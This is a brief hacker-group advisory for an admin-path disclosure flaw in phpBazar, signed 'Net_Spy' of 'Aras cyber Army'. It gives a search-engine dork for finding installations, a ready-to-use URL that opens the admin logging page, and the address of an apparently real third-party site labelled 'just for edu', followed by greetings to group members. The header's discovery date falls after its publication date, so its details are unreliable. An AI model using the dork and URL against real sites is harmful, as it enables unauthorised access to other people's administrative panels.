phpBazar Administrative Disclosure

`=====================================  
phpBazar admin path discloser Vulnerability  
=====================================  
  
  
Author :: Net_Spy  
Group :: Aras cyber Army  
Email :: [email protected]  
Discover :: 1 july 2010  
Critical Lvl :: M  
Publised :: 22 june 2010  
vender :: n/a  
---------------------------------------------------------------------------  
~~~~~~~~~  
  
Dork :: intitle: phpBazar-AdminPanel  
  
~~~~~~~~~~~~~~~~~~  
  
demo :: http://www.target.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Example Just For Edu :: http://www.kmlogsdon.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
+++++++++++++++++++++++++++++++++++++++  
[!] greetiz to ::  
DrgPxX,D3stan,hackfaz,hamed.err000r,Net_Spy,jawadn  
All aras cyber amry members  
  
+++++++++++++++++++++++++++++++++++++++  
  
  
  
  
  
`